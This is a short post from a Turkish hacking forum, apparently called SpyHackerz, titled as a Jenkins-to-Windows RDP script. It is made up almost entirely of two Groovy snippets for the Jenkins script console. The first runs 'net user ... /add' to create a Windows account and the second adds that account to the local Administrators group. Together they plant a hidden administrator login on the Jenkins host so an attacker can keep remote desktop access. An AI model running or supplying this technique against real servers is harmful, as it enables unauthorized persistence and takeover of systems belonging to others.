[Jenkins] Windows RDP Script (1 Viewer)

def command = """net user USER PASSWORT /add""" def proc = command.execute() // Call *execute* on the string proc.waitFor() //...

Kod:
def command = """net user USER PASSWORT /add"""
def proc = command.execute()                 // Call *execute* on the string
proc.waitFor()                               // Wait for the command to finish

// Obtain status and output
println "return code: ${ proc.exitValue()}"
println "stderr: ${proc.err.text}"
println "stdout: ${proc.in.text}" // *out* from the external program

Kod:
def command = """net localgroup Administrators USER /add"""
def proc = command.execute()                 // Call *execute* on the string
proc.waitFor()                               // Wait for the command to finish

// Obtain status and output
println "return code: ${ proc.exitValue()}"
println "stderr: ${proc.err.text}"
println "stdout: ${proc.in.text}" // *out* from the external program is *in* for groovy
 
💬 SpyHackerz Telegram — Anlık tartışmalar ve duyurular için katıl
Yanıt yazmak için giriş yapmalısınız
Forum özelliklerini kullanmak ve Level 2 üyelik satın almak için hesabınıza giriş yapın.

Users who are viewing this thread

133,191Konular
3,282,869Mesajlar
319,532Kullanıcılar
awdafaSon Üye
Üst Alt